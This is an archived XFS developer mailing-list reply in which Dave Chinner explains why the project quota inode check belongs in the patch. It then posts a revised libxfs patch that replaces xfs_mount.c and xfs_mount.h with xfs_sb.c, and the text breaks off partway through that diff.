<1378332359-14737-32-git-send-email-david@fromorbit.com> <522A1BCA.6010500@sgi.com> <20130906214021.GD12541@dastard> <522A4C79.1030200@sgi.com> <20130910010241.GZ12779@dastard> <522F289E.6070802@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <522F289E.6070802@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378848772 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140506 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 10, 2013 at 09:11:42AM -0500, Mark Tinguely wrote: > On 09/09/13 20:02, Dave Chinner wrote: > >diff --git a/include/xfs_sb.h b/include/xfs_sb.h > >index 4a710d6..04fe32a 100644 > >--- a/include/xfs_sb.h > >+++ b/include/xfs_sb.h > >@@ -26,6 +26,7 @@ > > > > struct xfs_buf; > > struct xfs_mount; > >+struct xfs_trans; > > > > #define XFS_SB_MAGIC 0x58465342 /* 'XFSB' */ > > #define XFS_SB_VERSION_1 1 /* 5.3, 6.0.1, 6.1 */ > >@@ -630,6 +631,12 @@ static inline int xfs_sb_version_has_pquotino(xfs_sb_t *sbp) > > return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; > > } > > > >+static inline bool > >+xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) > >+{ > >+ return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); > >+} > >+ > > /* > > Thanks Dave for doing all this work. > > The current kernel xfs_sb.h has an additional > " || ino == sbp->sb_pquotino" > from kernel commit d892d586 that is not making it into user xfs_sb.h. > > It is wrong to add it here but in a follow up patch (Chandra?). No, it should be added here because the rest of the libxfs code supports the separate pquota inode, specifically the libxfs/xfs_sb.c code that sets up the inodes for the rest of libxfs to use. New patch below, which also requires an update to the xfs-dir-dtype patch which I'll post in reply to that patch rather than here. Cheers, Dave. -- Dave Chinner david@fromorbit.com libxfs: switch over to xfs_sb.c and remove xfs_mount.c From: Dave Chinner Now that the kernel code has split the superblock specific code out of xfs_mount.c, we don't need xfs_mount.c anymore. Copy in xfs_sb.c and remove xfs_mount.c Signed-off-by: Dave Chinner --- V3: update for a current kernel xfs_sb.h V2: update for a current kernel xfs_sb.c include/Makefile | 1 - include/libxfs.h | 14 +- include/libxlog.h | 4 - include/xfs_mount.h | 372 --------------------------------------- include/xfs_sb.h | 29 +++ include/xfs_trace.h | 1 + libxfs/Makefile | 10 +- libxfs/init.c | 2 +- libxfs/xfs.h | 1 + libxfs/{xfs_mount.c => xfs_sb.c} | 289 ++++++++++++++++++------------ 10 files changed, 226 insertions(+), 497 deletions(-) diff --git a/include/Makefile b/include/Makefile index 6a4e521..45b8533 100644 --- a/include/Makefile +++ b/include/Makefile @@ -36,7 +36,6 @@ QAHFILES = libxfs.h libxlog.h \ xfs_log_format.h \ xfs_log_recover.h \ xfs_metadump.h \ - xfs_mount.h \ xfs_quota_defs.h \ xfs_sb.h \ xfs_trace.h \ diff --git a/include/libxfs.h b/include/libxfs.h index 51a2442..5422147 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -47,7 +47,6 @@ #include #include #include -#include #include #include #include @@ -323,6 +322,11 @@ enum xfs_buf_flags_t { /* b_flags bits */ #define xfs_buf_set_ref(bp,ref) ((void) 0) #define xfs_buf_ioerror(bp,err) (bp)->b_error = (err); +#define xfs_daddr_to_agno(mp,d) \ + ((xfs_agnumber_t)(XFS_BB_TO_FSBT(mp, d) / (mp)->m_sb.sb_agblocks)) +#define xfs_daddr_to_agbno(mp,d) \ + ((xfs_agblock_t)(XFS_BB_TO_FSBT(mp, d) % (mp)->m_sb.sb_agblocks)) + /* Buffer Cache Interfaces */ extern struct cache *libxfs_bcache; @@ -477,7 +481,6 @@ extern xfs_trans_t *libxfs_trans_dup (xfs_trans_t *); extern int libxfs_trans_reserve (xfs_trans_t *, uint,uint,uint,uint,uint); extern int libxfs_trans_commit (xfs_trans_t *, uint); extern void libxfs_trans_cancel (xfs_trans_t *, int); -extern void libxfs_mod_sb (xfs_trans_t *, __int64_t); extern xfs_buf_t *libxfs_trans_getsb (xfs_trans_t *, xfs_mount_t *, int); extern int libxfs_trans_iget (xfs_mount_t *, xfs_trans_t *, xfs_ino_t, @@ -705,7 +708,7 @@ void xfs_dinode_from_disk(struct xfs_icdinode *, #define libxfs_idata_realloc xfs_idata_realloc #define libxfs_idestroy_fork xfs_idestroy_fork -/* xfs_mount.h */ +/* xfs_sb.h */ #define libxfs_mod_sb xfs_mod_sb #define libxfs_sb_from_disk xfs_sb_from_disk #define libxfs_sb_to_disk xfs_sb_to_disk @@ -730,4 +733,9 @@ extern uint32_t crc32c_le(uint32_t crc, unsigned char const *p, size_t len); #include +#define xfs_notice(mp,fmt,args...) cmn_err(CE_NOTE,fmt, ## args) +#define xfs_warn(mp,fmt,args...) cmn_err(CE_WARN,fmt, ## args) +#define xfs_alert(mp,fmt,args...) cmn_err(CE_ALERT,fmt, ## args) +#define xfs_hex_dump(d,n) ((void) 0) + #endif /* __LIBXFS_H__ */ diff --git a/include/libxlog.h b/include/libxlog.h index e65b607..a61e437 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -66,10 +66,6 @@ struct xlog { #define XFS_MOUNT_WAS_CLEAN 0x1 #define unlikely(x) (x) -#define xfs_warn(mp,fmt,args...) cmn_err(CE_WARN,fmt, ## args) -#define xfs_alert(mp,fmt,args...) cmn_err(CE_ALERT,fmt, ## args) -#define xfs_hex_dump(d,n) ((void) 0) - extern void xlog_warn(char *fmt,...); extern void xlog_exit(char *fmt,...); extern void xlog_panic(char *fmt,...); diff --git a/include/xfs_mount.h b/include/xfs_mount.h deleted file mode 100644 index 5410e9f..0000000 --- a/include/xfs_mount.h +++ /dev/null @@ -1,372 +0,0 @@ -/* - * Copyright (c) 2000-2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_MOUNT_H__ -#define __XFS_MOUNT_H__ - -#ifndef __KERNEL__ - -#define xfs_daddr_to_agno(mp,d) \ - ((xfs_agnumber_t)(XFS_BB_TO_FSBT(mp, d) / (mp)->m_sb.sb_agblocks)) -#define xfs_daddr_to_agbno(mp,d) \ - ((xfs_agblock_t)(XFS_BB_TO_FSBT(mp, d) % (mp)->m_sb.sb_agblocks)) - -#else /* __KERNEL__ */ - -struct xlog; -struct xfs_inode; -struct xfs_mru_cache; -struct xfs_nameops; -struct xfs_ail; -struct xfs_quotainfo; - -#ifdef HAVE_PERCPU_SB - -/* - * Valid per-cpu incore superblock counters. Note that if you add new counters, - * you may need to define new counter disabled bit field descriptors as there - * are more possible fields in the superblock that can fit in a bitfield on a - * 32 bit platform. The XFS_SBS_* values for the current current counters just - * fit. - */ -typedef struct xfs_icsb_cnts { - uint64_t icsb_fdblocks; - uint64_t icsb_ifree; - uint64_t icsb_icount; - unsigned long icsb_flags; -} xfs_icsb_cnts_t; - -#define XFS_ICSB_FLAG_LOCK (1 << 0) /* counter lock bit */ - -#define XFS_ICSB_LAZY_COUNT (1 << 1) /* accuracy not needed */ - -extern int xfs_icsb_init_counters(struct xfs_mount *); -extern void xfs_icsb_reinit_counters(struct xfs_mount *); -extern void xfs_icsb_destroy_counters(struct xfs_mount *); -extern void xfs_icsb_sync_counters(struct xfs_mount *, int); -extern void xfs_icsb_sync_counters_locked(struct xfs_mount *, int); -extern int xfs_icsb_modify_counters(struct xfs_mount *, xfs_sb_field_t, - int64_t, int); - -#else -#define xfs_icsb_init_counters(mp) (0) -#define xfs_icsb_destroy_counters(mp) do { } while (0) -#define xfs_icsb_reinit_counters(mp) do { } while (0) -#define xfs_icsb_sync_counters(mp, flags) do { } while (0) -#define xfs_icsb_sync_counters_locked(mp, flags) do { } while (0) -#define xfs_icsb_modify_counters(mp, field, delta, rsvd) \ - xfs_mod_incore_sb(mp, field, delta, rsvd) -#endif - -/* dynamic preallocation free space thresholds, 5% down to 1% */ -enum { - XFS_LOWSP_1_PCNT = 0, - XFS_LOWSP_2_PCNT, - XFS_LOWSP_3_PCNT, - XFS_LOWSP_4_PCNT, - XFS_LOWSP_5_PCNT, - XFS_LOWSP_MAX, -}; - -typedef struct xfs_mount { - struct super_block *m_super; - xfs_tid_t m_tid; /* next unused tid for fs */ - struct xfs_ail *m_ail; /* fs active log item list */ - xfs_sb_t m_sb; /* copy of fs superblock */ - spinlock_t m_sb_lock; /* sb counter lock */ - struct xfs_buf *m_sb_bp; /* buffer for superblock */ - char *m_fsname; /* filesystem name */ - int m_fsname_len; /* strlen of fs name */ - char *m_rtname; /* realtime device name */ - char *m_logname; /* external log device name */ - int m_bsize; /* fs logical block size */ - xfs_agnumber_t m_agfrotor; /* last ag where space found */ - xfs_agnumber_t m_agirotor; /* last ag dir inode alloced */ - spinlock_t m_agirotor_lock;/* .. and lock protecting it */ - xfs_agnumber_t m_maxagi; /* highest inode alloc group */ - uint m_readio_log; /* min read size log bytes */ - uint m_readio_blocks; /* min read size blocks */ - uint m_writeio_log; /* min write size log bytes */ - uint m_writeio_blocks; /* min write size blocks */ - struct xlog *m_log; /* log specific stuff */ - int m_logbufs; /* number of log buffers */ - int m_logbsize; /* size of each log buffer */ - uint m_rsumlevels; /* rt summary levels */ - uint m_rsumsize; /* size of rt summary, bytes */ - struct xfs_inode *m_rbmip; /* pointer to bitmap inode */ - struct xfs_inode *m_rsumip; /* pointer to summary inode */ - struct xfs_inode *m_rootip; /* pointer to root directory */ - struct xfs_quotainfo *m_quotainfo; /* disk quota information */ - xfs_buftarg_t *m_ddev_targp; /* saves taking the address */ - xfs_buftarg_t *m_logdev_targp;/* ptr to log device */ - xfs_buftarg_t *m_rtdev_targp; /* ptr to rt device */ - __uint8_t m_blkbit_log; /* blocklog + NBBY */ - __uint8_t m_blkbb_log; /* blocklog - BBSHIFT */ - __uint8_t m_agno_log; /* log #ag's */ - __uint8_t m_agino_log; /* #bits for agino in inum */ - __uint16_t m_inode_cluster_size;/* min inode buf size */ - uint m_blockmask; /* sb_blocksize-1 */ - uint m_blockwsize; /* sb_blocksize in words */ - uint m_blockwmask; /* blockwsize-1 */ - uint m_alloc_mxr[2]; /* max alloc btree records */ - uint m_alloc_mnr[2]; /* min alloc btree records */ - uint m_bmap_dmxr[2]; /* max bmap btree records */ - uint m_bmap_dmnr[2]; /* min bmap btree records */ - uint m_inobt_mxr[2]; /* max inobt btree records */ - uint m_inobt_mnr[2]; /* min inobt btree records */ - uint m_ag_maxlevels; /* XFS_AG_MAXLEVELS */ - uint m_bm_maxlevels[2]; /* XFS_BM_MAXLEVELS */ - uint m_in_maxlevels; /* max inobt btree levels. */ - struct radix_tree_root m_perag_tree; /* per-ag accounting info */ - spinlock_t m_perag_lock; /* lock for m_perag_tree */ - struct mutex m_growlock; /* growfs mutex */ - int m_fixedfsid[2]; /* unchanged for life of FS */ - uint m_dmevmask; /* DMI events for this FS */ - __uint64_t m_flags; /* global mount flags */ - uint m_dir_node_ents; /* #entries in a dir danode */ - uint m_attr_node_ents; /* #entries in attr danode */ - int m_ialloc_inos; /* inodes in inode allocation */ - int m_ialloc_blks; /* blocks in inode allocation */ - int m_inoalign_mask;/* mask sb_inoalignmt if used */ - uint m_qflags; /* quota status flags */ - struct xfs_trans_resv m_reservations; /* precomputed res values */ - __uint64_t m_maxicount; /* maximum inode count */ - __uint64_t m_resblks; /* total reserved blocks */ - __uint64_t m_resblks_avail;/* available reserved blocks */ - __uint64_t m_resblks_save; /* reserved blks @ remount,ro */ - int m_dalign; /* stripe unit */ - int m_swidth; /* stripe width */ - int m_sinoalign; /* stripe unit inode alignment */ - int m_attr_magicpct;/* 37% of the blocksize */ - int m_dir_magicpct; /* 37% of the dir blocksize */ - __uint8_t m_sectbb_log; /* sectlog - BBSHIFT */ - const struct xfs_nameops *m_dirnameops; /* vector of dir name ops */ - int m_dirblksize; /* directory block sz--bytes */ - int m_dirblkfsbs; /* directory block sz--fsbs */ - xfs_dablk_t m_dirdatablk; /* blockno of dir data v2 */ - xfs_dablk_t m_dirleafblk; /* blockno of dir non-data v2 */ - xfs_dablk_t m_dirfreeblk; /* blockno of dirfreeindex v2 */ - uint m_chsize; /* size of next field */ - struct xfs_chash *m_chash; /* fs private inode per-cluster - * hash table */ - atomic_t m_active_trans; /* number trans frozen */ -#ifdef HAVE_PERCPU_SB - xfs_icsb_cnts_t __percpu *m_sb_cnts; /* per-cpu superblock counters */ - unsigned long m_icsb_counters; /* disabled per-cpu counters */ - struct notifier_block m_icsb_notifier; /* hotplug cpu notifier */ - struct mutex m_icsb_mutex; /* balancer sync lock */ -#endif - struct xfs_mru_cache *m_filestream; /* per-mount filestream data */ - struct delayed_work m_reclaim_work; /* background inode reclaim */ - struct delayed_work m_eofblocks_work; /* background eof blocks - trimming */ - __int64_t m_update_flags; /* sb flags we need to update - on the next remount,rw */ - int64_t m_low_space[XFS_LOWSP_MAX]; - /* low free space thresholds */ - - struct workqueue_struct *m_data_workqueue; - struct workqueue_struct *m_unwritten_workqueue; - struct workqueue_struct *m_cil_workqueue; - struct workqueue_struct *m_reclaim_workqueue; - struct workqueue_struct *m_log_workqueue; - struct workqueue_struct *m_eofblocks_workqueue; -} xfs_mount_t; - -/* - * Flags for m_flags. - */ -#define XFS_MOUNT_WSYNC (1ULL << 0) /* for nfs - all metadata ops - must be synchronous except - for space allocations */ -#define XFS_MOUNT_WAS_CLEAN (1ULL << 3) -#define XFS_MOUNT_FS_SHUTDOWN (1ULL << 4) /* atomic stop of all filesystem - operations, typically for - disk errors in metadata */ -#define XFS_MOUNT_DISCARD (1ULL << 5) /* discard unused blocks */ -#define XFS_MOUNT_RETERR (1ULL << 6) /* return alignment errors to - user */ -#define XFS_MOUNT_NOALIGN (1ULL << 7) /* turn off stripe alignment - allocations */ -#define XFS_MOUNT_ATTR2 (1ULL << 8) /* allow use of attr2 format */ -#define XFS_MOUNT_GRPID (1ULL << 9) /* group-ID assigned from directory */ -#define XFS_MOUNT_NORECOVERY (1ULL << 10) /* no recovery - dirty fs */ -#define XFS_MOUNT_DFLT_IOSIZE (1ULL << 12) /* set default i/o size */ -#define XFS_MOUNT_32BITINODES (1ULL << 14) /* do not create inodes above - * 32 bits in size */ -#define XFS_MOUNT_SMALL_INUMS (1ULL << 15) /* users wants 32bit inodes */ -#define XFS_MOUNT_NOUUID (1ULL << 16) /* ignore uuid during mount */ -#define XFS_MOUNT_BARRIER (1ULL << 17) -#define XFS_MOUNT_IKEEP (1ULL << 18) /* keep empty inode clusters*/ -#define XFS_MOUNT_SWALLOC (1ULL << 19) /* turn on stripe width - * allocation */ -#define XFS_MOUNT_RDONLY (1ULL << 20) /* read-only fs */ -#define XFS_MOUNT_DIRSYNC (1ULL << 21) /* synchronous directory ops */ -#define XFS_MOUNT_COMPAT_IOSIZE (1ULL << 22) /* don't report large preferred - * I/O size in stat() */ -#define XFS_MOUNT_FILESTREAMS (1ULL << 24) /* enable the filestreams - allocator */ -#define XFS_MOUNT_NOATTR2 (1ULL << 25) /* disable use of attr2 format */ - - -/* - * Default minimum read and write sizes. - */ -#define XFS_READIO_LOG_LARGE 16 -#define XFS_WRITEIO_LOG_LARGE 16 - -/* - * Max and min values for mount-option defined I/O - * preallocation sizes. - */ -#define XFS_MAX_IO_LOG 30 /* 1G */ -#define XFS_MIN_IO_LOG PAGE_SHIFT - -/* - * Synchronous read and write sizes. This should be - * better for NFSv2 wsync filesystems. - */ -#define XFS_WSYNC_READIO_LOG 15 /* 32k */ -#define XFS_WSYNC_WRITEIO_LOG 14 /* 16k */ - -/* - * Allow large block sizes to be reported to userspace programs if the - * "largeio" mount option is used. - * - * If compatibility mode is specified, simply return the basic unit of caching - * so that we don't get inefficient read/modify/write I/O from user apps. - * Otherwise.... - * - * If the underlying volume is a stripe, then return the stripe width in bytes - * as the recommended I/O size. It is not a stripe and we've set a default - * buffered I/O size, return that, otherwise return the compat default. - */ -static inline unsigned long -xfs_preferred_iosize(xfs_mount_t *mp) -{ - if (mp->m_flags & XFS_MOUNT_COMPAT_IOSIZE) - return PAGE_CACHE_SIZE; - return (mp->m_swidth ? - (mp->m_swidth << mp->m_sb.sb_blocklog) : - ((mp->m_flags & XFS_MOUNT_DFLT_IOSIZE) ? - (1 << (int)MAX(mp->m_readio_log, mp->m_writeio_log)) : - PAGE_CACHE_SIZE)); -} - -#define XFS_LAST_UNMOUNT_WAS_CLEAN(mp) \ - ((mp)->m_flags & XFS_MOUNT_WAS_CLEAN) -#define XFS_FORCED_SHUTDOWN(mp) ((mp)->m_flags & XFS_MOUNT_FS_SHUTDOWN) -void xfs_do_force_shutdown(struct xfs_mount *mp, int flags, char *fname, - int lnnum); -#define xfs_force_shutdown(m,f) \ - xfs_do_force_shutdown(m, f, __FILE__, __LINE__) - -#define SHUTDOWN_META_IO_ERROR 0x0001 /* write attempt to metadata failed */ -#define SHUTDOWN_LOG_IO_ERROR 0x0002 /* write attempt to the log failed */ -#define SHUTDOWN_FORCE_UMOUNT 0x0004 /* shutdown from a forced unmount */ -#define SHUTDOWN_CORRUPT_INCORE 0x0008 /* corrupt in-memory data structures */ -#define SHUTDOWN_REMOTE_REQ 0x0010 /* shutdown came from remote cell */ -#define SHUTDOWN_DEVICE_REQ 0x0020 /* failed all paths to the device */ - -/* - * Flags for xfs_mountfs - */ -#define XFS_MFSI_QUIET 0x40 /* Be silent if mount errors found */ - -static inline xfs_agnumber_t -xfs_daddr_to_agno(struct xfs_mount *mp, xfs_daddr_t d) -{ - xfs_daddr_t ld = XFS_BB_TO_FSBT(mp, d); - do_div(ld, mp->m_sb.sb_agblocks); - return (xfs_agnumber_t) ld; -} - -static inline xfs_agblock_t -xfs_daddr_to_agbno(struct xfs_mount *mp, xfs_daddr_t d) -{ - xfs_daddr_t ld = XFS_BB_TO_FSBT(mp, d); - return (xfs_agblock_t) do_div(ld, mp->m_sb.sb_agblocks); -} - -/* - * Per-cpu superblock locking functions - */ -#ifdef HAVE_PERCPU_SB -static inline void -xfs_icsb_lock(xfs_mount_t *mp) -{ - mutex_lock(&mp->m_icsb_mutex); -} - -static inline void -xfs_icsb_unlock(xfs_mount_t *mp) -{ - mutex_unlock(&mp->m_icsb_mutex); -} -#else -#define xfs_icsb_lock(mp) -#define xfs_icsb_unlock(mp) -#endif - -/* - * This structure is for use by the xfs_mod_incore_sb_batch() routine. - * xfs_growfs can specify a few fields which are more than int limit - */ -typedef struct xfs_mod_sb { - xfs_sb_field_t msb_field; /* Field to modify, see below */ - int64_t msb_delta; /* Change to make to specified field */ -} xfs_mod_sb_t; - -extern int xfs_log_sbcount(xfs_mount_t *); -extern __uint64_t xfs_default_resblks(xfs_mount_t *mp); -extern int xfs_mountfs(xfs_mount_t *mp); - -extern void xfs_unmountfs(xfs_mount_t *); -extern int xfs_mod_incore_sb(xfs_mount_t *, xfs_sb_field_t, int64_t, int); -extern int xfs_mod_incore_sb_batch(xfs_mount_t *, xfs_mod_sb_t *, - uint, int); -extern int xfs_mount_log_sb(xfs_mount_t *, __int64_t); -extern struct xfs_buf *xfs_getsb(xfs_mount_t *, int); -extern int xfs_readsb(xfs_mount_t *, int); -extern void xfs_freesb(xfs_mount_t *); -extern int xfs_fs_writable(xfs_mount_t *); -extern int xfs_sb_validate_fsb_count(struct xfs_sb *, __uint64_t); - -extern int xfs_dev_is_read_only(struct xfs_mount *, char *); - -extern void xfs_set_low_space_thresholds(struct xfs_mount *); - -#endif /* __KERNEL__ */ - -/* - * perag get/put wrappers for ref counting - */ -struct xfs_perag *xfs_perag_get(struct xfs_mount *mp, xfs_agnumber_t agno); -struct xfs_perag *xfs_perag_get_tag(struct xfs_mount *mp, xfs_agnumber_t agno, - int tag); -void xfs_perag_put(struct xfs_perag *pag); - -extern void xfs_sb_calc_crc(struct xfs_buf *); -extern void xfs_mod_sb(struct xfs_trans *, __int64_t); -extern int xfs_initialize_perag(struct xfs_mount *, xfs_agnumber_t, - xfs_agnumber_t *); -extern void xfs_sb_from_disk(struct xfs_sb *, struct xfs_dsb *); -extern void xfs_sb_to_disk(struct xfs_dsb *, struct xfs_sb *, __int64_t); - -extern const struct xfs_buf_ops xfs_sb_buf_ops; - -#endif /* __XFS_MOUNT_H__ */ diff --git a/include/xfs_sb.h b/include/xfs_sb.h index 4a710d6..d9fe180 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -26,6 +26,7 @@ struct xfs_buf; struct xfs_mount; +struct xfs_trans; #define XFS_SB_MAGIC 0x58465342 /* 'XFSB' */ #define XFS_SB_VERSION_1 1 /* 5.3, 6.0.1, 6.1 */ @@ -634,6 +635,15 @@ static inline int xfs_sb_version_has_pquotino(xfs_sb_t *sbp) * end of superblock version macros */ +static inline bool +xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) +{ + return (ino == sbp->sb_uquotino || + ino == sbp->sb_gquotino || + ino == sbp->sb_pquotino); +} + + #define XFS_SB_DADDR ((xfs_daddr_t)0) /* daddr in filesystem/ag */ #define XFS_SB_BLOCK(mp) XFS_HDR_BLOCK(mp, XFS_SB_DADDR) #define XFS_BUF_TO_SBP(bp) ((xfs_dsb_t *)((bp)->b_addr)) @@ -666,4 +676,23 @@ static inline int xfs_sb_version_has_pquotino(xfs_sb_t *sbp) #define XFS_B_TO_FSBT(mp,b) (((__uint64_t)(b)) >> (mp)->m_sb.sb_blocklog) #define XFS_B_FSB_OFFSET(mp,b) ((b) & (mp)->m_blockmask) +/* + * perag get/put wrappers for ref counting + */ +extern struct xfs_perag *xfs_perag_get(struct xfs_mount *, xfs_agnumber_t); +extern struct xfs_perag *xfs_perag_get_tag(struct xfs_mount *, xfs_agnumber_t, + int tag); +extern void xfs_perag_put(struct xfs_perag *pag); +extern int xfs_initialize_perag_data(struct xfs_mount *, xfs_agnumber_t); + +extern void xfs_sb_calc_crc(struct xfs_buf *); +extern void xfs_mod_sb(struct xfs_trans *, __int64_t); +extern void xfs_sb_mount_common(struct xfs_mount *, struct xfs_sb *); +extern void xfs_sb_from_disk(struct xfs_sb *, struct xfs_dsb *); +extern void xfs_sb_to_disk(struct xfs_dsb *, struct xfs_sb *, __int64_t); +extern void xfs_sb_quota_from_disk(struct xfs_sb *sbp); + +extern const struct xfs_buf_ops xfs_sb_buf_ops; +extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; + #endif /* __XFS_SB_H__ */ diff --git a/include/xfs_trace.h b/include/xfs_trace.h index 5f32097..1d2728e 100644 --- a/include/xfs_trace.h +++ b/include/xfs_trace.h @@ -162,6 +162,7 @@ /* set c = c to avoid unused var warnings */ #define trace_xfs_perag_get(a,b,c,d) ((c) = (c)) +#define trace_xfs_perag_get_tag(a,b,c,d) ((c) = (c)) #define trace_xfs_perag_put(a,b,c,d) ((c) = (c)) #endif /* __TRACE_H__ */ diff --git a/libxfs/Makefile b/libxfs/Makefile index 6ba38f9..5608020 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -11,9 +11,13 @@ LT_REVISION = 0 LT_AGE = 0 HFILES = xfs.h init.h xfs_dir2_priv.h crc32defs.h crc32table.h -CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ +CFILES = cache.c \ + crc32.c \ + init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_alloc.c \ xfs_alloc_btree.c \ + xfs_attr.c \ + xfs_attr_remote.c \ xfs_btree.c \ xfs_ialloc.c \ xfs_inode_buf.c \ @@ -21,8 +25,8 @@ CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_ialloc_btree.c xfs_bmap_btree.c xfs_da_btree.c \ xfs_dir2.c xfs_dir2_leaf.c xfs_attr_leaf.c xfs_dir2_block.c \ xfs_dir2_node.c xfs_dir2_data.c xfs_dir2_sf.c xfs_bmap.c \ - xfs_mount.c xfs_rtalloc.c xfs_attr.c xfs_attr_remote.c \ - crc32.c \ + xfs_rtalloc.c \ + xfs_sb.c \ xfs_symlink_remote.c \ xfs_trans_resv.c diff --git a/libxfs/init.c b/libxfs/init.c index 5c418bc..db7eeea 100644 --- a/libxfs/init.c +++ b/libxfs/init.c @@ -692,7 +692,7 @@ libxfs_mount( INIT_RADIX_TREE(&mp->m_perag_tree, GFP_KERNEL); sbp = &(mp->m_sb); - xfs_mount_common(mp, sb); + xfs_sb_mount_common(mp, sb); xfs_alloc_compute_maxlevels(mp); xfs_bmap_compute_maxlevels(mp, XFS_DATA_FORK); diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 1a01c61..0113b50 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -345,6 +345,7 @@ do { \ #define uuid_equal(s,d) (platform_uuid_compare((s),(d)) == 0) #define xfs_icreate_log(tp, agno, agbno, cnt, isize, len, gen) ((void) 0) +#define xfs_sb_validate_fsb_count(sbp, nblks) (0) /* * Prototypes for kernel static functions that are aren't in their diff --git a/libxfs/xfs_mount.c b/libxfs/xfs_sb.c similarity index 78% rename from libxfs/xfs_mount.c rename to libxfs/xfs_sb.c index 8b267bc..8b90b88 100644 --- a/libxfs/xfs_mount.c +++ b/libxfs/xfs_sb.c @@ -15,70 +15,73 @@ * along with this program; if not, write the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ - #include +/* + * Physical superblock buffer manipulations. Shared with libxfs in userspace. + */ + static const struct { short offset; short type; /* 0 = integer * 1 = binary / string (no translation) */ } xfs_sb_info[] = { - { offsetof(xfs_sb_t, sb_magicnum), 0 }, - { offsetof(xfs_sb_t, sb_blocksize), 0 }, - { offsetof(xfs_sb_t, sb_dblocks), 0 }, - { offsetof(xfs_sb_t, sb_rblocks), 0 }, - { offsetof(xfs_sb_t, sb_rextents), 0 }, - { offsetof(xfs_sb_t, sb_uuid), 1 }, - { offsetof(xfs_sb_t, sb_logstart), 0 }, - { offsetof(xfs_sb_t, sb_rootino), 0 }, - { offsetof(xfs_sb_t, sb_rbmino), 0 }, - { offsetof(xfs_sb_t, sb_rsumino), 0 }, - { offsetof(xfs_sb_t, sb_rextsize), 0 }, - { offsetof(xfs_sb_t, sb_agblocks), 0 }, - { offsetof(xfs_sb_t, sb_agcount), 0 }, - { offsetof(xfs_sb_t, sb_rbmblocks), 0 }, - { offsetof(xfs_sb_t, sb_logblocks), 0 }, - { offsetof(xfs_sb_t, sb_versionnum), 0 }, - { offsetof(xfs_sb_t, sb_sectsize), 0 }, - { offsetof(xfs_sb_t, sb_inodesize), 0 }, - { offsetof(xfs_sb_t, sb_inopblock), 0 }, - { offsetof(xfs_sb_t, sb_fname[0]), 1 }, - { offsetof(xfs_sb_t, sb_blocklog), 0 }, - { offsetof(xfs_sb_t, sb_sectlog), 0 }, - { offsetof(xfs_sb_t, sb_inodelog), 0 }, - { offsetof(xfs_sb_t, sb_inopblog), 0 }, - { offsetof(xfs_sb_t, sb_agblklog), 0 }, - { offsetof(xfs_sb_t, sb_rextslog), 0 }, - { offsetof(xfs_sb_t, sb_inprogress), 0 }, - { offsetof(xfs_sb_t, sb_imax_pct), 0 }, - { offsetof(xfs_sb_t, sb_icount), 0 }, - { offsetof(xfs_sb_t, sb_ifree), 0 }, - { offsetof(xfs_sb_t, sb_fdblocks), 0 }, - { offsetof(xfs_sb_t, sb_frextents), 0 }, - { offsetof(xfs_sb_t, sb_uquotino), 0 }, - { offsetof(xfs_sb_t, sb_gquotino), 0 }, - { offsetof(xfs_sb_t, sb_qflags), 0 }, - { offsetof(xfs_sb_t, sb_flags), 0 }, - { offsetof(xfs_sb_t, sb_shared_vn), 0 }, - { offsetof(xfs_sb_t, sb_inoalignmt), 0 }, - { offsetof(xfs_sb_t, sb_unit), 0 }, - { offsetof(xfs_sb_t, sb_width), 0 }, - { offsetof(xfs_sb_t, sb_dirblklog), 0 }, - { offsetof(xfs_sb_t, sb_logsectlog), 0 }, - { offsetof(xfs_sb_t, sb_logsectsize),0 }, - { offsetof(xfs_sb_t, sb_logsunit), 0 }, - { offsetof(xfs_sb_t, sb_features2), 0 }, - { offsetof(xfs_sb_t, sb_bad_features2), 0 }, - { offsetof(xfs_sb_t, sb_features_compat), 0 }, - { offsetof(xfs_sb_t, sb_features_ro_compat), 0 }, - { offsetof(xfs_sb_t, sb_features_incompat), 0 }, - { offsetof(xfs_sb_t, sb_features_log_incompat), 0 }, - { offsetof(xfs_sb_t, sb_crc), 0 }, - { offsetof(xfs_sb_t, sb_pad), 0 }, - { offsetof(xfs_sb_t, sb_pquotino), 0 }, - { offsetof(xfs_sb_t, sb_lsn), 0 }, - { sizeof(xfs_sb_t), 0 } + { offsetof(xfs_sb_t, sb_magicnum), 0 }, + { offsetof(xfs_sb_t, sb_blocksize), 0 }, + { offsetof(xfs_sb_t, sb_dblocks), 0 }, + 